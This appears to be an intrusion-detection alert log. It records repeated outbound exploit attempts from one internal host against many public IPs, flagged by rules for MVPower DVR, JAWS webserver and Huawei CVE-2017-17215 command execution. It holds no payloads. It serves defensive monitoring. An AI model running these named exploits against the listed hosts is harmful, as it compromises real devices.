Timestamp:	192.168.2.23156.235.102.23453884372152829579 01/02/24-06:24:34.990700
SID:	2829579
Source Port:	53884
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 198.44.248.104

Timestamp:	192.168.2.23198.44.248.10442602802025883 01/02/24-06:24:27.798165
SID:	2025883
Source Port:	42602
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 77.74.207.203

Timestamp:	192.168.2.2377.74.207.20352380802030092 01/02/24-06:25:35.073405
SID:	2030092
Source Port:	52380
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 13.250.65.92

Timestamp:	192.168.2.2313.250.65.9258572802025883 01/02/24-06:25:21.541317
SID:	2025883
Source Port:	58572
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 130.211.15.95

Timestamp:	192.168.2.23130.211.15.9540968802025883 01/02/24-06:23:49.492483
SID:	2025883
Source Port:	40968
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 2.182.153.62

Timestamp:	192.168.2.232.182.153.6248988802025883 01/02/24-06:24:24.372962
SID:	2025883
Source Port:	48988
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 2.189.137.17

Timestamp:	192.168.2.232.189.137.1749444802025883 01/02/24-06:25:04.484177
SID:	2025883
Source Port:	49444
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 35.211.213.107

Timestamp:	192.168.2.2335.211.213.10757532802030092 01/02/24-06:25:37.947175
SID:	2030092
Source Port:	57532
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 198.12.222.113

Timestamp:	192.168.2.23198.12.222.11345034802030092 01/02/24-06:24:58.944478
SID:	2030092
Source Port:	45034
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 89.218.57.128

Timestamp:	192.168.2.2389.218.57.12838636802030092 01/02/24-06:23:50.310617
SID:	2030092
Source Port:	38636
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 218.35.171.230

Timestamp:	192.168.2.23218.35.171.23047210802025883 01/02/24-06:24:23.810086
SID:	2025883
Source Port:	47210
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 23.12.99.171

Timestamp:	192.168.2.2323.12.99.17136038802030092 01/02/24-06:24:09.103574
SID:	2030092
Source Port:	36038
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 18.214.78.161

Timestamp:	192.168.2.2318.214.78.16148682802030092 01/02/24-06:24:56.009741
SID:	2030092
Source Port:	48682
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 23.207.79.244

Timestamp:	192.168.2.2323.207.79.24432972802025883 01/02/24-06:24:45.082176
SID:	2025883
Source Port:	32972
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 38.181.35.219

Timestamp:	192.168.2.2338.181.35.21934120802030092 01/02/24-06:23:54.670611
SID:	2030092
Source Port:	34120
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 103.204.176.205

Timestamp:	192.168.2.23103.204.176.20545228802030092 01/02/24-06:24:18.853608
SID:	2030092
Source Port:	45228
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 77.223.119.150

Timestamp:	192.168.2.2377.223.119.15053212802025883 01/02/24-06:25:25.284668
SID:	2025883
Source Port:	53212
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 109.168.109.229

Timestamp:	192.168.2.23109.168.109.22945120802030092 01/02/24-06:23:56.151964
SID:	2030092
Source Port:	45120
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 44.215.139.228

Timestamp:	192.168.2.2344.215.139.22838962802025883 01/02/24-06:25:42.024128
SID:	2025883
Source Port:	38962
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 64.120.69.49

Timestamp:	192.168.2.2364.120.69.4946098802025883 01/02/24-06:24:49.087899
SID:	2025883
Source Port:	46098
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 209.212.159.215

Timestamp:	192.168.2.23209.212.159.21533838802025883 01/02/24-06:25:09.542471
SID:	2025883
Source Port:	33838
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 149.57.79.102

Timestamp:	192.168.2.23149.57.79.10232814802025883 01/02/24-06:23:51.958904
SID:	2025883
Source Port:	32814
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 170.130.22.254

Timestamp:	192.168.2.23170.130.22.25444286802030092 01/02/24-06:24:08.505355
SID:	2030092
Source Port:	44286
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 35.244.131.8

Timestamp:	192.168.2.2335.244.131.839990802030092 01/02/24-06:25:34.794177
SID:	2030092
Source Port:	39990
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 38.55.173.244

Timestamp:	192.168.2.2338.55.173.24453040802025883 01/02/24-06:23:51.512013
SID:	2025883
Source Port:	53040
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 208.70.77.181

Timestamp:	192.168.2.23208.70.77.18137854802030092 01/02/24-06:24:43.121132
SID:	2030092
Source Port:	37854
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 42.237.113.222

Timestamp:	192.168.2.2342.237.113.22243184802030092 01/02/24-06:24:52.311736
SID:	2030092
Source Port:	43184
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 104.114.164.49

Timestamp:	192.168.2.23104.114.164.4947672802025883 01/02/24-06:25:25.169174
SID:	2025883
Source Port:	47672
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 45.169.136.2

Timestamp:	192.168.2.2345.169.136.260250802025883 01/02/24-06:24:37.969433
SID:	2025883
Source Port:	60250
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 5.133.222.136

Timestamp:	192.168.2.235.133.222.13648094802030092 01/02/24-06:23:51.610663
SID:	2030092
Source Port:	48094
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 99.79.174.31

Timestamp:	192.168.2.2399.79.174.3141104802025883 01/02/24-06:25:34.689900
SID:	2025883
Source Port:	41104
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 138.118.173.132

Timestamp:	192.168.2.23138.118.173.13258566802030092 01/02/24-06:24:33.144309
SID:	2030092
Source Port:	58566
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 2.16.231.225

Timestamp:	192.168.2.232.16.231.22546374802030092 01/02/24-06:24:45.225996
SID:	2030092
Source Port:	46374
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 154.223.106.91

Timestamp:	192.168.2.23154.223.106.9147644802025883 01/02/24-06:24:04.156293
SID:	2025883
Source Port:	47644
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 20.70.223.64

Timestamp:	192.168.2.2320.70.223.6440344802025883 01/02/24-06:24:31.051081
SID:	2025883
Source Port:	40344
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 23.7.184.253

Timestamp:	192.168.2.2323.7.184.25344448802025883 01/02/24-06:24:40.620372
SID:	2025883
Source Port:	44448
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 23.43.229.228

Timestamp:	192.168.2.2323.43.229.22859784802030092 01/02/24-06:23:58.287305
SID:	2030092
Source Port:	59784
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 193.233.164.237

Timestamp:	192.168.2.23193.233.164.23748736802030092 01/02/24-06:24:17.936241
SID:	2030092
Source Port:	48736
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 175.29.154.101

Timestamp:	192.168.2.23175.29.154.10159250802025883 01/02/24-06:24:03.503193
SID:	2025883
Source Port:	59250
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 18.161.154.76

Timestamp:	192.168.2.2318.161.154.7646938802030092 01/02/24-06:24:40.755405
SID:	2030092
Source Port:	46938
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 62.24.144.165

Timestamp:	192.168.2.2362.24.144.16546790802030092 01/02/24-06:25:42.725214
SID:	2030092
Source Port:	46790
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 220.134.75.182

Timestamp:	192.168.2.23220.134.75.18260554802030092 01/02/24-06:25:32.202180
SID:	2030092
Source Port:	60554
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 192.126.242.162

Timestamp:	192.168.2.23192.126.242.16243294802030092 01/02/24-06:25:09.578837
SID:	2030092
Source Port:	43294
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 98.4.73.12

Timestamp:	192.168.2.2398.4.73.1259564802030092 01/02/24-06:25:01.180668
SID:	2030092
Source Port:	59564
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 18.167.130.64

Timestamp:	192.168.2.2318.167.130.6444126802025883 01/02/24-06:24:24.131709
SID:	2025883
Source Port:	44126
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 154.208.198.214

Timestamp:	192.168.2.23154.208.198.21441798802025883 01/02/24-06:24:45.035888
SID:	2025883
Source Port:	41798
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 106.15.76.48

Timestamp:	192.168.2.23106.15.76.4851782802030092 01/02/24-06:24:31.040036
SID:	2030092
Source Port:	51782
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 62.254.208.10

Timestamp:	192.168.2.2362.254.208.1058096802025883 01/02/24-06:24:13.764312
SID:	2025883
Source Port:	58096
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 96.67.179.1

Timestamp:	192.168.2.2396.67.179.140870802025883 01/02/24-06:24:10.828261
SID:	2025883
Source Port:	40870
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 35.231.230.60

Timestamp:	192.168.2.2335.231.230.6033018802025883 01/02/24-06:25:03.820714
SID:	2025883
Source Port:	33018
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 210.136.185.64

Timestamp:	192.168.2.23210.136.185.6435820802030092 01/02/24-06:25:42.761377
SID:	2030092
Source Port:	35820
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 201.229.167.159

Timestamp:	192.168.2.23201.229.167.15941366802030092 01/02/24-06:24:19.178132
SID:	2030092
Source Port:	41366
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 142.58.163.96

Timestamp:	192.168.2.23142.58.163.9638386802030092 01/02/24-06:23:55.563204
SID:	2030092
Source Port:	38386
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 217.23.144.159

Timestamp:	192.168.2.23217.23.144.15954616802030092 01/02/24-06:25:02.033209
SID:	2030092
Source Port:	54616
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 5.63.152.59

Timestamp:	192.168.2.235.63.152.5938096802025883 01/02/24-06:24:37.257342
SID:	2025883
Source Port:	38096
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 49.233.248.202

Timestamp:	192.168.2.2349.233.248.20255454802030092 01/02/24-06:25:29.740902
SID:	2030092
Source Port:	55454
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 23.3.57.124

Timestamp:	192.168.2.2323.3.57.12446500802025883 01/02/24-06:25:22.066559
SID:	2025883
Source Port:	46500
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 154.216.168.76

Timestamp:	192.168.2.23154.216.168.7659634802030092 01/02/24-06:23:58.312912
SID:	2030092
Source Port:	59634
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 87.249.21.231

Timestamp:	192.168.2.2387.249.21.23144962802025883 01/02/24-06:23:59.225841
SID:	2025883
Source Port:	44962
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 52.216.42.21

Timestamp:	192.168.2.2352.216.42.2137628802030092 01/02/24-06:25:15.620032
SID:	2030092
Source Port:	37628
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 195.62.126.54

Timestamp:	192.168.2.23195.62.126.5460000802030092 01/02/24-06:24:11.155988
SID:	2030092
Source Port:	60000
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 91.146.142.151

Timestamp:	192.168.2.2391.146.142.15155428802030092 01/02/24-06:24:27.710944
SID:	2030092
Source Port:	55428
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 47.96.31.60

Timestamp:	192.168.2.2347.96.31.6043368802030092 01/02/24-06:24:32.931561
SID:	2030092
Source Port:	43368
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 123.1.253.236

Timestamp:	192.168.2.23123.1.253.23654834802030092 01/02/24-06:24:30.849841
SID:	2030092
Source Port:	54834
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 45.243.32.109

Timestamp:	192.168.2.2345.243.32.10952362802030092 01/02/24-06:25:05.266557
SID:	2030092
Source Port:	52362
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 24.236.125.84

Timestamp:	192.168.2.2324.236.125.8436362802025883 01/02/24-06:23:50.012962
SID:	2025883
Source Port:	36362
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 104.91.11.151

Timestamp:	192.168.2.23104.91.11.15157840802025883 01/02/24-06:23:57.977771
SID:	2025883
Source Port:	57840
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 157.90.166.5

Timestamp:	192.168.2.23157.90.166.540292802030092 01/02/24-06:25:26.148693
SID:	2030092
Source Port:	40292
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 74.48.170.26

Timestamp:	192.168.2.2374.48.170.2654894802025883 01/02/24-06:24:48.887995
SID:	2025883
Source Port:	54894
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 174.71.165.229

Timestamp:	192.168.2.23174.71.165.22954816802025883 01/02/24-06:24:51.730581
SID:	2025883
Source Port:	54816
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 34.88.138.19

Timestamp:	192.168.2.2334.88.138.1944478802030092 01/02/24-06:25:30.159443
SID:	2030092
Source Port:	44478
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 159.69.20.60

Timestamp:	192.168.2.23159.69.20.6060990802025883 01/02/24-06:23:51.599206
SID:	2025883
Source Port:	60990
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 91.242.215.204

Timestamp:	192.168.2.2391.242.215.20436660802030092 01/02/24-06:24:18.756077
SID:	2030092
Source Port:	36660
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 34.224.189.176

Timestamp:	192.168.2.2334.224.189.17652658802030092 01/02/24-06:25:00.915017
SID:	2030092
Source Port:	52658
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 116.202.207.175

Timestamp:	192.168.2.23116.202.207.17543532802025883 01/02/24-06:24:40.704654
SID:	2025883
Source Port:	43532
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 52.222.57.83

Timestamp:	192.168.2.2352.222.57.8340002802030092 01/02/24-06:24:17.613377
SID:	2030092
Source Port:	40002
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 35.242.176.14

Timestamp:	192.168.2.2335.242.176.1443110802030092 01/02/24-06:25:21.012628
SID:	2030092
Source Port:	43110
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 114.55.243.176

Timestamp:	192.168.2.23114.55.243.17648672802030092 01/02/24-06:25:22.179481
SID:	2030092
Source Port:	48672
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 51.210.249.66

Timestamp:	192.168.2.2351.210.249.6660948802030092 01/02/24-06:24:52.075605
SID:	2030092
Source Port:	60948
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 23.217.78.184

Timestamp:	192.168.2.2323.217.78.18433170802030092 01/02/24-06:25:04.964747
SID:	2030092
Source Port:	33170
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 197.26.86.85

Timestamp:	192.168.2.23197.26.86.8560062802030092 01/02/24-06:25:19.114868
SID:	2030092
Source Port:	60062
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 211.149.152.37

Timestamp:	192.168.2.23211.149.152.3757174802030092 01/02/24-06:25:42.230065
SID:	2030092
Source Port:	57174
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 45.15.66.20

Timestamp:	192.168.2.2345.15.66.2040310802030092 01/02/24-06:24:05.830727
SID:	2030092
Source Port:	40310
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 37.97.157.91

Timestamp:	192.168.2.2337.97.157.9157446802025883 01/02/24-06:25:34.999588
SID:	2025883
Source Port:	57446
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 211.251.235.105

Timestamp:	192.168.2.23211.251.235.10549264802030092 01/02/24-06:25:44.278757
SID:	2030092
Source Port:	49264
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 176.112.147.61

Timestamp:	192.168.2.23176.112.147.6145918802025883 01/02/24-06:24:56.122079
SID:	2025883
Source Port:	45918
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 104.73.17.27

Timestamp:	192.168.2.23104.73.17.2758458802025883 01/02/24-06:24:01.120240
SID:	2025883
Source Port:	58458
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 52.188.170.147

Timestamp:	192.168.2.2352.188.170.14760094802025883 01/02/24-06:24:56.015920
SID:	2025883
Source Port:	60094
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 143.0.84.210

Timestamp:	192.168.2.23143.0.84.21038402802030092 01/02/24-06:24:01.350138
SID:	2030092
Source Port:	38402
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 68.233.96.132

Timestamp:	192.168.2.2368.233.96.13258694802025883 01/02/24-06:25:19.392967
SID:	2025883
Source Port:	58694
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 104.21.5.88

Timestamp:	192.168.2.23104.21.5.8858690802030092 01/02/24-06:24:30.711855
SID:	2030092
Source Port:	58690
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 104.107.28.16

Timestamp:	192.168.2.23104.107.28.1660550802030092 01/02/24-06:23:51.391248
SID:	2030092
Source Port:	60550
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 18.67.255.71

Timestamp:	192.168.2.2318.67.255.7133036802025883 01/02/24-06:24:42.963614
SID:	2025883
Source Port:	33036
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 154.37.215.113

Timestamp:	192.168.2.23154.37.215.11352664802025883 01/02/24-06:25:06.760411
SID:	2025883
Source Port:	52664
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 18.140.253.67

Timestamp:	192.168.2.2318.140.253.6745590802030092 01/02/24-06:25:35.354970
SID:	2030092
Source Port:	45590
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 104.76.96.21

Timestamp:	192.168.2.23104.76.96.2160320802030092 01/02/24-06:25:15.761034
SID:	2030092
Source Port:	60320
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 2.136.180.91

Timestamp:	192.168.2.232.136.180.9132958802030092 01/02/24-06:24:20.174770
SID:	2030092
Source Port:	32958
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.235.99.40

Timestamp:	192.168.2.23156.235.99.4053148372152835222 01/02/24-06:25:03.497246
SID:	2835222
Source Port:	53148
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

